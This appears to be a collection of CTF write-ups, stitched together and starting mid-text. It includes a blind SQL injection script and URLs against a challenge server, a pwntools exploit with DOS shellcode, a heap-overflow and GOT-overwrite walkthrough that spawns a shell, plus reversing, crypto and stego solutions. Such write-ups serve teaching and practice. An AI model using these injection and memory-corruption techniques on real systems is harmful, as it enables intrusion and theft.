This test can be done for all of the characters in the set "01234567890abcdef" (since the stored value is an md5 hash) to find what character the password starts with, and this process can be repeated for every character of the password. Since we only have to guess 16 times at most per character of the password, this can be done very quickly.
To automate this, we wrote a quick python script that uses the requests library to interact with the website:
```pythonimport requestsimport string
url = 'http://163.172.176.29/WALL/index.php'
response = ''sofar = ''while True: done = 1 for char in "0123456789abcdef": print(char) params = {'life':'LordCommander\' AND password LIKE \''+ sofar + char + '%', 'soul':''} r = requests.post(url, data=params)
if "Wrong identity" in r.text: sofar += char print("sofar=", sofar) done = 0 break if done == 1: breakprint sofar
```
Running the script gets us the md5 hash of the password: 0e565041023046045310587974628079
Running the hash through online hash crackers doesn't find anything. By looking back at the source code, we can see that the hashes are compared with the == operator:
```phpif($password == $users['password'])```
The double equals operator is notoriously bad, and there's a fairly well known vulnerability with the operator in that two strings starting with "0e" will always compare as true. This is because the == operator does automatic type casting, and considers strings of the form "0exxxxxx" to be the same as the integer 0 * e^{xxxxxx}. Therefore when two strings starting with "0e" are compared, they both get casted to the integer 0, and the comparison will always evaluate to true.
By googling "0e php hash vulnerability", we can find another string whose hash starts with "0e" (I used the string "240610708"). By entering this as the password, we'll get past the password check, and will log in as the admin. We were given the flag on the admin page. |
# __Kaspersky Industrial CTF Quals 2017.__ ## _petushok_
## Information**Category:** Joy**Points:** 200**Description:** > This is a strange picture "Petushok" http://95.85.55.168/ctfcoco.html
## Solution
We have [html page](ctfcoco.html) with table, that draws image using background colors of cells.
Looking more closely at cell classes, we can see unused "Co" names.
Now we can make the [script](solver.py), that removes all "CoCo\<x\>" styles and adds color to "Co" cells. Result page contains flag. |
SECT CTF 2017 PWN300 Write Up=============================
> **The gibson - Pwn (300 + 0)**> > The Plague: Someone didn't bother reading my carefully prepared memo on commonly-used passwords. Now, then, as I so > meticulously pointed out, the four most-used passwords are: love, sex, secret, and...> THE FLAG is in the file flag> > **Solves:** 12> **Service:** nc pwn.sect.ctf.rocks 4444> **Download:** http://dl.ctf.rocks/thegibson.tar.gz> **Author:** likvidera
This was a fun challenge I solved for HackingForSoju who finished 2nd.
Description:------------The challenge is a reasonably small DOS COM executable.The 8086 ASM is fairly easy to understand, here is the pseudo representation:
```c// Print welcome messageprint("#######################\n\r" "THE GIBSON BACKDOOR\n\r" "#######################\n\r");
// Read the passwordprint("\n\rEnter password: ");while ((c = getchar()) != '\n') *buff++ = c;
// Check the passwordpass = "HACKTHEPLANET";for (i = 0; i < 13; i++) if (buff[i] != pass[i]) goto EXIT;
// Print backdoor promptprint("\n\r OK! BACKDOOR CMD: ")
// Initialise varsvoid *ptr = 0x19ashort val = 0x0
// Read input from the user (without echoing chars back)while ((c = getchar()) != '\n') switch (c){
// Increment the pointer case 'A': ptr++; break;
// Decrement the pointer case 'B': ptr--; break;
// Decrement the value case 'C': val--; break;
// Increment the value case 'D': val++ break;
// Write the value to the address ptr points to case 'E': *ptr = val; break; }
EXIT:print("\n\rYOU ARE EXPUNGED, PRESS ENTER TO LEAVE!");if (getchar() == '\n') exit(0);```
The first step is to send the password: "HACKTHEPLANET" which will give access to the backdoor prompt where we can enter commands. The commands are single characters, A, B, C, D and E that will manipulate a pointer and value and allow us to store the value in memory at the pointer location.
Luckily, there is no such thing as read only memory in a COM executable, so we can write bytes in the code itself. The perfect location to write to would be in the EXIT block (after the exit message is printed, so we have confirmation everything worked as expected).
Now all we have to do is figure out how to write 8086 shellcode...
References:-----------
1. [DOS function codes for int 0x21](http://spike.scu.edu.au/~barry/interrupts.html)2. [8086 opcodes](http://csiflabs.cs.ucdavis.edu/~ssdavis/50/8086%20Opcodes.pdf)
Exploit Code:-------------
```pythonfrom pwn import *import timeimport sys
# Info:## COM binary for DOS, it reads a password "HACKTHEPLANET" and then it will let you# input "commands" in the form of chars that map to instructions:## A => add bx, 1# B => sub bx, 1# C => sub cx, 1# D => add cx, 1# E => mov [bx], cx## With that, we have an arbitrary write, so we can write our code in order to read# the flag.
LOCAL = Trueif len(sys.argv) > 1: LOCAL = False
# initial register valuesBX = 0x019aCX = 0x0000
def sendline(line):
if LOCAL == True: print line else: io.sendline(line)
def inc_bx(): global BX BX += 1 return 'A'
def dec_bx(): global BX BX -= 1 return 'B'
def inc_cx(): global CX CX += 1 return 'D'
def dec_cx(): global CX CX -= 1 return 'C'
def store(): return 'E'
def enc_write(pay, addr): ret = ''
# set the initial address if addr < BX: end = BX - addr for i in range(end): ret += dec_bx() elif addr > BX: end = addr - BX for i in range(end): ret += inc_bx()
# loop through all the bytes of the payload for char in pay: val = ord(char) if val < CX: end = CX - val for i in range(end): ret += dec_cx()
elif val > CX: end = val - CX for i in range(end): ret += inc_cx()
# store the byte ret += store()
# Increment the address ret += inc_bx()
return ret
if LOCAL == False: io = remote('pwn.sect.ctf.rocks', 4444) io.sendline() io.sendline()
io.recvuntil('CHALL.COM') io.recvuntil(':')
if LOCAL == False: p = log.progress('Sending password...')
# send passwordsendline('HACKTHEPLANET')
if LOCAL == False: p.success()
FILE = 0x0210 # location to write the file nameBUFF = 0x0230 # location to write the file contents we readSIZE = 0x0030 # number of bytes to read from the file
pay = ''
# open filepay += '\xb4\x3d' # mov ah, 0x3d (open syscall)pay += '\xb0\x00' # mov al, 0x00 (READONLY)pay += '\xba'+p16(FILE) # mov dx, FILEpay += '\xcd\x21' # int 0x21
# read from filepay += '\x93' # xchg ax, bxpay += '\xb4\x3f' # mov ah, 0x3f (read syscall)pay += '\xb9'+p16(SIZE) # mov cx, SIZEpay += '\xba'+p16(BUFF) # mov dx, BUFFpay += '\xcd\x21' # int 0x21
# print the bufferpay += '\xb4\x09' # mov ah, 0x09 (print syscall)pay += '\xba'+p16(BUFF) # mov dx, BUFFpay += '\xcd\x21' # int 0x21
# wait for charpay += '\xb4\x01' # mov ah, 0x01 (getc syscall)pay += '\xcd\x21' # int 0x21
# exitpay += '\xb4\x4c' # mov ah, 0x00 (exit syscall)pay += '\xcd\x21' # int 0x21
# build the payload in the final formxxx = enc_write(pay, 0x1a1)xxx += enc_write('flag\x00', FILE)
if LOCAL == False: io.recvuntil('OK! BACKDOOR CMD:') p = log.progress('Sending %d commands (%d byte payload)' % (len(xxx), len(pay)))
# send commandssendline(xxx)
if LOCAL == False: p.success()
# wait for output p = log.progress('Executing commands...') io.recvuntil('YOU ARE EXPUNGED, PRESS ENTER TO LEAVE!') flag = io.recvuntil('}') p.success() log.success('Got Flag: %s' % flag)
# terminate io.send('\n')
```
Flag:-----------
**SECT{MEMBER_MSDOS_I_MEMBER}**
A fantastic challenge and a fantastic CTF. Thanks to likvidera and the other organisers. See attached GIF for a live action version of this writeup and attached base64 tar.gz for the challenge file :) |
# Warmup (RE, 397p, 63 solved)
It's a classic reversing challenge.We get a [binary](warmup), ELF x64, statically compiled.In the strings we can see something resembling a permutated flag:
```asm00000000004a171b db 0x4f ; 'O' ; DATA XREF=sub_4009d8+1200000000004a171c db 0x00 ; '.'00000000004a171d db 0x5f ; '_' ; DATA XREF=sub_4009d8+36, sub_4009d8+276, sub_4009d8+300, sub_4009d8+396, sub_4009d8+56400000000004a171e db 0x00 ; '.'00000000004a171f db 0x75 ; 'u' ; DATA XREF=sub_4009d8+60, sub_4009d8+58800000000004a1720 db 0x00 ; '.'00000000004a1721 db 0x74 ; 't' ; DATA XREF=sub_4009d8+84, sub_4009d8+37200000000004a1722 db 0x00 ; '.'00000000004a1723 db 0x31 ; '1' ; DATA XREF=sub_4009d8+108, sub_4009d8+22800000000004a1724 db 0x00 ; '.'00000000004a1725 db 0x7b ; '{' ; DATA XREF=sub_4009d8+13200000000004a1726 db 0x00 ; '.'00000000004a1727 db 0x6a ; 'j' ; DATA XREF=sub_4009d8+15600000000004a1728 db 0x00 ; '.'00000000004a1729 db 0x73 ; 's' ; DATA XREF=sub_4009d8+180, sub_4009d8+25200000000004a172a db 0x00 ; '.'00000000004a172b db 0x68 ; 'h' ; DATA XREF=sub_4009d8+20400000000004a172c db 0x00 ; '.'00000000004a172d db 0x3f ; '?' ; DATA XREF=sub_4009d8+32400000000004a172e db 0x00 ; '.'00000000004a172f db 0x35 ; '5' ; DATA XREF=sub_4009d8+34800000000004a1730 db 0x00 ; '.'00000000004a1731 db 0x34 ; '4' ; DATA XREF=sub_4009d8+420, sub_4009d8+49200000000004a1732 db 0x00 ; '.'00000000004a1733 db 0x4b ; 'K' ; DATA XREF=sub_4009d8+44400000000004a1734 db 0x00 ; '.'00000000004a1735 db 0x77 ; 'w' ; DATA XREF=sub_4009d8+46800000000004a1736 db 0x00 ; '.'00000000004a1737 db 0x72 ; 'r' ; DATA XREF=sub_4009d8+51600000000004a1738 db 0x00 ; '.'00000000004a1739 db 0x6d ; 'm' ; DATA XREF=sub_4009d8+54000000000004a173a db 0x00 ; '.'00000000004a173b db 0x70 ; 'p' ; DATA XREF=sub_4009d8+60800000000004a173c db 0x00 ; '.'00000000004a173d db 0x45 ; 'E' ; DATA XREF=sub_4009d8+62800000000004a173e db 0x00 ; '.'00000000004a173f db 0x7d ; '}' ; DATA XREF=sub_4009d8+648```
If we look at how those values are used we can see a clear pattern:
```asm00000000004009dc mov eax, 0x6ccd6200000000004009e1 movzx edx, byte [rax]00000000004009e4 mov eax, 0x4a171b00000000004009e9 movzx eax, byte [rax]00000000004009ec cmp dl, al00000000004009ee jne loc_400d58
00000000004009f4 mov eax, 0x6ccd7200000000004009f9 movzx edx, byte [rax]00000000004009fc mov eax, 0x4a171d0000000000400a01 movzx eax, byte [rax]0000000000400a04 cmp dl, al0000000000400a06 jne loc_400d51
0000000000400a0c mov eax, 0x6ccd6d0000000000400a11 movzx edx, byte [rax]0000000000400a14 mov eax, 0x4a171f0000000000400a19 movzx eax, byte [rax]0000000000400a1c cmp dl, al0000000000400a1e jne loc_400d4a
0000000000400a24 mov eax, 0x6ccd670000000000400a29 movzx edx, byte [rax]0000000000400a2c mov eax, 0x4a17210000000000400a31 movzx eax, byte [rax]0000000000400a34 cmp dl, al0000000000400a36 jne loc_400d43
0000000000400a3c mov eax, 0x6ccd690000000000400a41 movzx edx, byte [rax]0000000000400a44 mov eax, 0x4a17230000000000400a49 movzx eax, byte [rax]0000000000400a4c cmp dl, al0000000000400a4e jne loc_400d3c```
and more checks like this following.Target for the `jne` jump is finishing without printing "valid!".
It looks like a perfect binary for angr, but for some reason we had issues with running angr on it, and we decided it will be faster to do it just with gdb script, instead of trying to fix the angr issue.
What we want to do:
1. Break at the point in binary where the pattern of comparison-and-jump starts -> `0x4009dc`2. Move to the point where address of our input byte is loaded and save this address, so that we know which byte was checked.3. Move to comparison and save the expected byte value4. Set our value to the expected one, so the comparison passes and we go to the next character5. We now know which address of our input bytes was supposed to be a certain flag byte, and since those addresses are from a single memory block, we can just sort it to get the flag.
```pythonimport gdbimport codecsimport string
flag = []gdb.execute("break *0x4009dc")gdb.execute("r <<< $(echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')")for i in range(28): for i in range(2): gdb.execute("n") addr = int(str(gdb.parse_and_eval("$eax")),16) for i in range(2): gdb.execute("n") value = chr(int(str(gdb.parse_and_eval("$eax")),16)) flag.append((addr, value)) gdb.execute("set $dl = $al") for i in range(2): gdb.execute("n")gdb.execute("c")flag = sorted(flag, key=lambda x: x[0])print("".join([c[1] for c in flag]))```
Which gives us the flag: `EKO{1s_th1s_ju5t_4_w4rm_up?}` |
In this we had to factorize ```n = 2462649746477364143454082050368305440553491900304388646893610847386194301369924385009730987303651345060031438478297733694036327257723431468649220444397635127530301992505638291521092898714917678389314956983918603221732358628680256253537449204312287724750669208856634711056863315465220853759428826555838536733```
Admins released the hint that the primes are close by, so I tried fermat factorization.Since standard implementations are pretty slow, I found that yafu has a pretty optimized version with sieve improvement. But yafu was returning 1 as the primes, so I compiled it again and debugged to see the problem.Yafu was crashing after found: in trialdiv.c Code:
```found:
mpz_add_ui(a, a, count); if ((mpz_size(b2) > 0) && mpz_perfect_square_p(b2)) { printf("found square at count = %d: a = %s, b2 = %s",count, z2decstr(&a,&gstr1),z2decstr(&b2,&gstr2));
```So instead of finding the problem I basically copied the value of count using gdb and used the below py script to get the factors:
```count = 26365624027328a = gmpy.sqrt(self.n) + countmax = a + self.limitb2 = a*a - self.nb = gmpy.sqrt(b2)p = a+bq = a-bprint p, q```Finally the primes```1569283195117237003369661884198411787798228566690474267312882038063658385761773122348822031628496668092176832507661463177730984959212118435829588059735623L1569283195117237003369661884198411787798228566690474267312882038063657810434869771811957721834374075850363708418225687871888930709588875800968904667752571L``` |
Please, do not write just a link to original writeup here.
[link to wriiteup](https://github.com/Keramas/CTF-Writeups/blob/master/Can-CWIC_RevMeEasy.md) |
Full writeup: https://github.com/p4-team/ctf/tree/master/2017-08-25-hackit/crypto150
tl;dr: recover list of `lsb` used for encryption of known plaintext part, use Z3 to generate constraints on the key parameters based on those `lsb` |
Backdoor CTF 2017: THE-WALL-------
**Catégorie**: Web **Points**: 100 **Description**:
> Night king needs the secret flag to destroy the wall. Help night king get flag from Lord Commander so that army of dead can kill the livinghttp://163.172.176.29/WALL
Write up-------
Dans un premier temps en cliquant sur le lien on arrive sur la page http://163.172.176.29/WALL/login.html
On va commencer par regarder le code source de la page voir s'il n'y a pas d'indices:
```html <html> <head> <title>The Wall</title> </head> <body> <form action="index.php" method="POST"> Username:<input type="text" name="life" /> Password:<input type="password" name="soul" /> <input type="submit"> </form> Here is the source of index.php </body> </html>```
On sait maintenant qu'il y a "life" et "soul" envoyés en POST sur la page "index.php".
Maintenant on va regarder la source de la page "index.php" en cliquant sur le lien hypertexte:
```php <html> <head> <title>The Wall</title> </head> <body> "; echo $message; die(); } $query = "SELECT * FROM users WHERE username='$username'"; $result = $pdo->query($query); $users = $result->fetchArray(SQLITE3_ASSOC); if($users) { if($password == $users['password']){ if($users['role']=="admin"){ echo "Here is your flag: $flag"; }elseif($users['role']=="normal"){ $message = "Welcome, ".$users['users'].""; $message.= "Unfortunately, only Lord Commander can access flag"; }else{ $message = "What did you do?"; } } else{ $message = "Wrong identity for : ".$users['username']; } } else{ $message = "No such person exists".""; } echo $message; }else{ header( "refresh:1;url=login.html"); die("Only living can cross The Wall"); } ?> </body> </html>```
De cette façon on apprend plusieurs choses:
* Les deux champs ne peuvent pas être vides, et on peut envoyer notre "username" et notre "password" en GET car on a "$_REQUEST" ```php if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){ $username = $_REQUEST['life']; $password = $_REQUEST['soul']; ```* Le hash du mot de passe est md5 (sa taille est donc de 32 caractères) ```php $password = md5($password); ```* On sait que la table est "users" et que les colonnes sont: id, username, password, role ```php /*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/ ```* On ne pourra pas faire d'union ```php if(preg_match('/(union|\|)/i', $username)){ $message="Dead work alone not in UNIONs".""; echo $message; die(); } ```* Il y a une injection sql sur username ```php $query = "SELECT * FROM users WHERE username='$username'"; $result = $pdo->query($query); ```
On va pouvoir commencer notre blind SQLI en récupérant dans un premier temps le pseudo de l'administrateur:
``` http://163.172.176.29/WALL/index.php?soul=tt&life=' OR role='admin' -- '```
Bingo ! On obtient le nom d'utilisateur qui est "LordCommander" (comme c'est bizarre).
Maintenant on va commencer par récupérer le mot de passe à la main (comme on est noob) avec des valeurs numérique (on commence par zéro):
``` http://163.172.176.29/WALL/index.php?soul=tt&life=LordCommander' AND password like '0%' -- '```
On a un résultat positif et si le mot de passe commence par 0e on aurait un bug sur du type juggling et c'est logique avec:
```php $password = md5($password);```
On test donc avec "0e":
``` http://163.172.176.29/WALL/index.php?soul=tt&life=LordCommander' AND password like '0e%' -- '```
C'est encore gagné ! On a beaucoup de chance aujourd'hui !On va maintenant pouvoir tester avec un mot de passe qui en md5 commence par "0e" et qui retourne vrai pour:
```php if($password == $users['password'])```
Voici des mots qui fonctionnent:
``` 240610708 QNKCDZO aabg7XSs```
On envoi donc notre combinaison nom d'utilisateur et mot de passe:
```php http://163.172.176.29/WALL/index.php?soul=QNKCDZO&life=LordCommander```Bim ! On a le flag qui s'affiche et on gagne 100 points.
|
Original write-up: [https://rioru.github.io/ctf/web/2017/08/27/ctf-writeup-hackit-2017-web200.html](https://rioru.github.io/ctf/web/2017/08/27/ctf-writeup-hackit-2017-web200.html) |
# __Kaspersky Industrial CTF Quals 2017.__ ## _web keygen_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Reverse | 700 | merrychap
**Description:**
> crackme! http://95.85.55.168/vmctf.html
## SolutionWe are given the [link](http://95.85.55.168/vmctf.html) to the password validator. Let's see the HTML code:
It seems interesting. We can see ~~cocoded~~ obfuscated javascript code and function ```GetFlag``` where we input some string. First of all, let's replace all this ```CoCo``` with a more readable name like ```a[Number of Co]```. [The code is here](a_changed.js). It's already little changed, but still doesn't mean much. You can see how we tried to understand what this thing is, but ended up with nothing.
### Reversing the codeNow, we can look at the name of the html. VMctf. Virtual Machine? Let's look at the code from this perspective.
```javascripta56() { var byte = this.getNextByte(); switch (byte) { case 1: ... case 2: ... case 3: ... ... case 18: ... }
...
while (buffer.counter != 0xFFFFFFFF) { buffer.a56();}
```
There is a while loop that compares ```buffer.counter``` with ```0xffffffff```. This ```buffer.counter``` looks exactly like IP register. And this ```a56()``` function executes a command depending on the instruction opcode (big case statement).
Now, let's look at the ```BufferClass``` construction:
```javascriptconstructor(bufferNumbers) { this.dataViewBuffer = new DataView(bufferNumbers.buffer); this.counter = 0; this.numberDV = new DataView(new ArrayBuffer(32)); var bufferLen = bufferNumbers.length; this.numberDV.setInt32(16,bufferLen);
```
Okay, here ```dataViewBuffer``` is the memory with .text section and the empty stack. ```counter``` is ```IP``` register and ```numberDV``` is set of 32-bit registers.
After some time of reversing this code, we get [something like this](vm.js). I should mention that there are 4 memory managers: - ```UniRegHandler``` — manager for 32-, 16- and 8-bit registers. - ```ConstantHandler``` — used for getting constants from .text's section code. - ```AddressHandler8``` — manager for arbitrary 8-bit addresses. - ```AddressHandler32``` — manager for arbitrary 32-bit addresses.
All code is pretty clear: There is a VM that has stack, registers and it executes instructions. So, we have the code for VM in ```var memory = new Uint8Array(...)```.
Reversing the code we see what is going on: - The program waits for a string with 8-byte length. - Compute hash of this string - Compare obtained hash with ```0x33e5ae40```. If they are equal, then program prints another string (actually a flag), else printf "Fail".
So, we should understand what type of a hashing is used here.
### What this hashing doesThe hash function looks like this: ```pythonblocks = [0x77073096,0xee0e612c, 0x990951ba, ...]
hash = 0xedcba987
def hash(input): for i in range(len(input)): r8 = (ord(input[i]) ^ hex2int(ciphr)) & 255 index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4 block = blocks[index] hash = (hash >> 8) ^ block
```
All hex numbers is signed. ```blocks``` are statically generated list of signed numbers. So, hashing algorithm is not that hard. After all operations are executed, a hash is compared with ```0x33e5ae40```. Knowing this, we can reverse algorithm in this way:
```pythonalph = ascii_letters + digits
def cracking(hash): for iter in range(8): for block in blocks: c = hash ^ block for byte in range(256): nhash = c + byte # pseudocoded sum here is like strings: 0x123456 + 0x78 = 0x12345678 for symb in alph: r8 = (symb ^ nhash) & 255 index = ((0xfffffbf8 + 11220 + r8 * 4) & 0xffffffff) // 4 if blocks[index] == block: hash = nhash```
But this took too much time to compute initial hash ```0xedcba987```. Because of that, we should understand how works program after comparison of input's hash and ```0x33e5ae40```.
### After comparisonIf a hash of our input is equal to ```0x33e5ae40```, then program compute statically list of numbers. Further, all numbers are xored with input. Usual block cipher.```| INPUT | INPUT | INPUT | ... || LIST OF NUMBERS .... || RESULTING LIST OF NUMBERS |```
And in the end, program prints exactly ```RESULTING LIST OF NUMBERS``` joined in a string. We know the flag format. It is ```KLCTF....```. So, it all means that we can use the certain password that will give us exactly "KLCTF" after xoring. This password is ```8XcCD...``` But it's just 5 bytes. We should use another 3. Let's just brute them. After we do it, we will xor obtained password with numbers and will get the flag.
```pythonnumbers = [115, 20, 32, 23, 2, 98, 42, 119, 121, 29, 33, 113, 112, 103, 94, 6, 0, 30, 91, 113, 125, 103, 95, 113, 123, 111, 80, 2, 119, 103, 90, 115, 9, 25, 39, 1, 5]password = '8XcCDUhG'
index, flag = 0, ''for i, num in enumerate(numbers): flag += chr(num ^ ord(password[i % 8]))print(flag)```
> And we get the flag: **KLCTF7B0AEB2426A8F829276C73A32241ADBA**
<h4>VoidHack crew with love <3</h4>
|
Hungman is a 300 point exploitation challenge from CSAW CTF Quals 2016. On the [challenge website](https://ctf.csaw.io/challenges), we are given two files for download: the [hungman executable](https://ctf.csaw.io/static/uploads/be71ed453f93d9cc30baa65314126248/hungman) and the [libc](https://ctf.csaw.io/static/uploads/d49d14b3cd81ede59498d62795565584/libc-2.23.so) used on the challenge server. By connecting to the service, you can play a difficult game of hangman. You only get three incorrect guesses before you lose, and the word to guess appears to be random lowercase letters.
My first step in solving this challenge was to open the hungman executable with IDA Pro. The program keeps track of the player using a structure I named `hangman_game`, which looks like this:
```c// Game structuretypedef struct hangman_game { int score; int name_size; // Size of name (including \0) char* name; bool letters_found[26];} hangman_game;```
There are also three global variables of interest:
```changman_game* g_hangman;char g_highscore_message[512];int g_highscore;```
Hungman consists of three functions, which I've named `main()`, `ask_name()`, and `play_hangman()`. The `main` function looks like this:
```cint main(void) { char yes_or_no; int dev_urandom_fd; // Disable output buffering setvbuf(stdout, NULL, _IONBF, 0); // Set default highscore message memset(g_highscore_message, '\0', 512); memcpy(g_highscore_message, "Default Highscore ", 20); // Default highscore is 64 g_highscore = 64; // Source of random data dev_urandom_fd = open("/dev/urandom", O_RDONLY); if (dev_urandom_fd == -1) { exit(EXIT_FAILURE); } // Ask for the player's name and create game struct g_hangman = ask_name(); printf("Welcome %s\n", g_hangman->name); // Game loop do { // Play a game of hangman play_hangman(g_hangman, dev_urandom_fd); // Print high score printf("%s ", g_highscore_message); printf("score: %d\n", g_highscore); // Ask to continue printf("Continue? "); scanf(" %c", &yes_or_no); } while (yes_or_no != 'n'); return close(dev_urandom_fd);}```
There's not much of interest here. It just shows how the control flow works around the game. The `ask_name()` function is a little more interesting:
```changman_game* ask_name(void) { char* name_buffer; hangman_game* hangman; int bytes_read; char* name_end; char input_str[248]; // Ask for the player's name write(STDOUT_FILENO, "What's your name?\n", 18); memset(input_str, '\0', 248); bytes_read = read(STDIN_FILENO, input_str, 247); // Ignore everything but the first line of input name_end = strchr(input_str, '\n'); if (name_end != NULL) { *name_end = '\0'; } // Allocate just enough space to hold the name entered by the user name_buffer = (char*)malloc(bytes_read); // Allocate more than enough space to hold the game structure hangman = (hangman_game*)malloc(128); // Initialize the fields of the game structure and return it memset(hangman, '\0', 128); hangman->name = name_buffer; hangman->name_size = bytes_read; memcpy(hangman->name, input_str, bytes_read); return hangman;}```
As you can see, `hangman->name` is allocated to hold just enough space for the name the player initially enters. This will be important very soon. Finally, `play_hangman()` is where all the fun happens. Here is the reversed C code for it:
```cvoid play_hangman(hangman_game* hangman, int dev_urandom_fd) { char guess; char yes_or_no; int tries_remaining; int letters_found; int name_size; int last_counter; int bytes_read; uint64_t i; uint64_t j; char* puzzle_word; char* name_buffer; char* end_of_name; // Allocate space for the puzzle word puzzle_size = hangman->name_size; puzzle_word = (char*)malloc(puzzle_size); if (puzzle_word != NULL) { // Read random data for the puzzle read(dev_urandom_fd, puzzle_word, puzzle_size); // Each puzzle character is a random undercase letter for (i = 0; i < puzzle_size - 1; i++) { puzzle_word[i] ^= hangman->name[i]; puzzle_word[i] = (uint8_t)puzzle_word[i] % 26 + 'a'; } // Variables that track gameplay progress tries_remaining = 3; letters_found = 0; guess = '_'; // Loop once for each guess while (tries_remaining > 0) { // Print out the puzzle word, with blanks (_) where letters // haven't yet been guessed. for (i = 0; i < puzzle_size - 1; i++) { if (hangman->letter_found[puzzle_word[i] - 'a']) { write(STDOUT_FILENO, &puzzle_word[i], 1); } else { write(STDOUT_FILENO, "_", 1); } } // Print newline after puzzle word and read next guess write(STDOUT_FILENO, "\n", 1); scanf(" %c", &guess); // If the guess isn't lowercase, it's definitely wrong if (guess >= 'a' && guess <= 'z') { // If the player already guessed this letter, // that means this guess is wrong. if (hangman->letter_found[guess - 'a']) { puts("nope"); --tries_remaining; } else { // Check if the guess is correct last_counter = letters_found; for (j = 0; j < puzzle_size - 1; j++) { if (puzzle_word[j] == guess) { // Mark this letter as found and increment // correct letter counter. hangman->letter_found[guess - 'a'] = true; ++letters_found; } } // Check if the guess was incorrect if (last_counter == letters_found) { --tries_remaining; } // Check if this guess just solved the puzzle if (letters_found >= puzzle_size - 1) { hangman->score += 8 * (puzzle_size - 1); goto gameover; } } } else { // Guess wasn't a lowercase letter puts("nope"); --tries_remaining; } } // Formula for counting the score for losing hangman->score += 0.25 * (puzzle_size - 1) * letters_found; gameover: // Check if the player got a high score if (hangman->score > g_highscore) { // Ask the player to change names puts("High score! change name?"); scanf(" %c", &yes_or_no); if (yes_or_no == 'y') { // Allocate space to read the new name name_buffer = (char *)malloc(248); memset(name_buffer, '\0', 248); // [BUG1] // Read in the new name and update the stored size // in the game structure bytes_read = read(STDIN_FILENO, name_buffer, 248); hangman->name_size = bytes_read; // Cut the name string at the first newline end_of_name = strchr(name_buffer, '\n'); if (end_of_name != NULL) { // [BUG2] *end_of_name = '\0'; } // [BUG3] // Copy new name into the game structure's name buffer memcpy(hangman->name, name_buffer, bytes_read); free(name_buffer); } // [BUG4] // Update high score message and value snprintf(g_highscore_message, 512, "Highest player: %s", hangman->name); g_highscore = hangman->score; } // Clear game state memset(hangman->letter_found, false, 26); free(puzzle_word); }}```
This function is much larger, and contains multiple bugs. The first one I noticed was the one I marked as `[BUG1]`. The issue here is that the call to `read()` may read up to 248 bytes which is the total size of the allocated name buffer. This could cause the name buffer to not be NUL-terminated. This bug is the cause for `[BUG2]` and `[BUG4]`.
`[BUG2]` is an OOB heap write bug that allows replacing a `0x0a` byte outside of the name buffer with a `0x00` byte. That could potentially be exploitable, though that would be very difficult and prone to failure.
`[BUG4]` is an infoleak bug allows leaking adjacent heap data (at least until the next `0x00` or `0x0a` byte).
`[BUG3]` is the most interesting bug in this case. It is a fairly standard heap buffer overwrite bug. The bug is the fact that the buffer is never resized after it is allocated in `ask_name()` to hold just enough space for the name that the user entered initially. So, by first setting the name to something small and then later changing to a longer name, this will write data outside of this object in the adjacent heap space.
Now that we know that there is a heap buffer overwrite vulnerability, it's time to see how the allocations are performed to see what we can corrupt using this bug. The first allocation performed is the name buffer (`g_hangman->name`). After this, the game structure (`g_hangman`) is allocated. By testing with [gdb-peda](https://github.com/longld/peda), I verified that `g_hangman` is always allocated directly after `g_hangman->name` (with some padding in between). Due to this ordering of allocations, triggering the heap overwrite from `[BUG3]` will allow us to corrupt the `hangman_game` structure.
I decided to focus on corrupting `g_hangman->name`, as we can both read and write the data pointed to by this pointer. I gained an arbitrary memory read primitive by setting `g_hangman->name` to the address I want to read from and reading the highscore player's name, with the caveat that we can't read NUL bytes because the message is created with `snprintf()`. This also becomes an arbitrary memory write primitive by getting a highscore again after setting `g_hangman->name` to the address to write. The name you send is written to that address.
My goal is to overwrite a GOT function pointer with the address of `system()` and call the overwritten function with `/bin/bash -i\0` as the first parameter to get a shell. Therefore I needed to pick a GOT function where I have control over the first argument. I chose to use `snprintf()`, because it is called in `play_hangman()` after the `memcpy()` call, and it is given `g_highscore_message` as its first parameter. Since I can have an arbitrary memory write primitive, I can control the contents of this buffer.
The first step of my exploit is to leak the address of `snprintf()` in the GOT. I compare this to the address of `snprintf()` in the provided libc to determine the ASLR slide of standard library functions. After this, I replace the GOT entry for `snprintf()` with the address of `system()`, adjusted for ASLR. I use a single memory write to do both this and overwrite `g_highscore_message`, as this buffer is just after the GOT in the executable. This means I'm going to be overwriting every entry in the GOT after `snprintf()`, so I try to set those to the correct locations to prevent any early crashes. After the end of the GOT, I just write zeros until I get to `g_highscore_message`, which I fill with `/bin/bash -i\0`. After this, the `play_hangman()` function gets to this statement:
```csnprintf(g_highscore_message, 512, "Highest player: %s", hangman->name);```
At this point, we've replaced `snprintf()` with `system()` and filled `g_highscore_message` with `/bin/bash -i\0`, so this code will actually do the following:
```csystem("/bin/bash -i");```
And this completes the exploit. Running it gives me a shell, which I use to read the flag: `flag{this_looks_like_its_a_well_hungman}`. The Python script I wrote using [Gallopsled's pwntools](https://github.com/Gallopsled/pwntools) can be viewed here: [hungman.py](https://ghostbin.com/paste/bxf7v)
 |
# ASIS secret letter - Misc/Stego - 202 points - 17 solvers
> The face is the index of the mind, its ASIS [secret](./asis_letter_ee08c0c4f40b815277393c4e3f3966bd240bc4f9) letter!
There are two images in the download in the description, one JPG and one PNG. We don't see any immediate hidden messages when the files are viewed in a hex editor, but when viewing the JPG we notice that it contains EXIF metadata. There is an "ImageDescription" tag which contains apparent garbage. Re-opening in a hex editor, we see that the garbage starts with `\x78\x9C` which could be a header for compressed zlib data. So we write a small script that decompresses, and it works! We get a piece of base64 encoded data, which we have to base64 decode a few times recursively before we get the message "?? from ASIS with love, please find secret message and reply soon, powered by ?? St�gan� ??".
We install [Stegano](https://github.com/cedricbonhomme/Stegano) as hinted, and try various options and discover that `stegano-lsb-set reveal -i e07d17ed7d8104590ff3e17bdf052057 --generator triangular_numbers` reveals the flag: `ASIS{767ba85340d9e49fa0bb9c2b12037f08}` |
We are provided with a encrypted png file "secret_encrypted.png".
opening this file in a hexeditor, I noticed bytes 8 to 10 where FF FF FF.I suspected the unencrypted bytes would be 00 00 00 so they where probably xored with FF FF FF to result in FF FF FF.If this is the case, the encryption is most likley a repeated xor key or the file is xored with a single number.
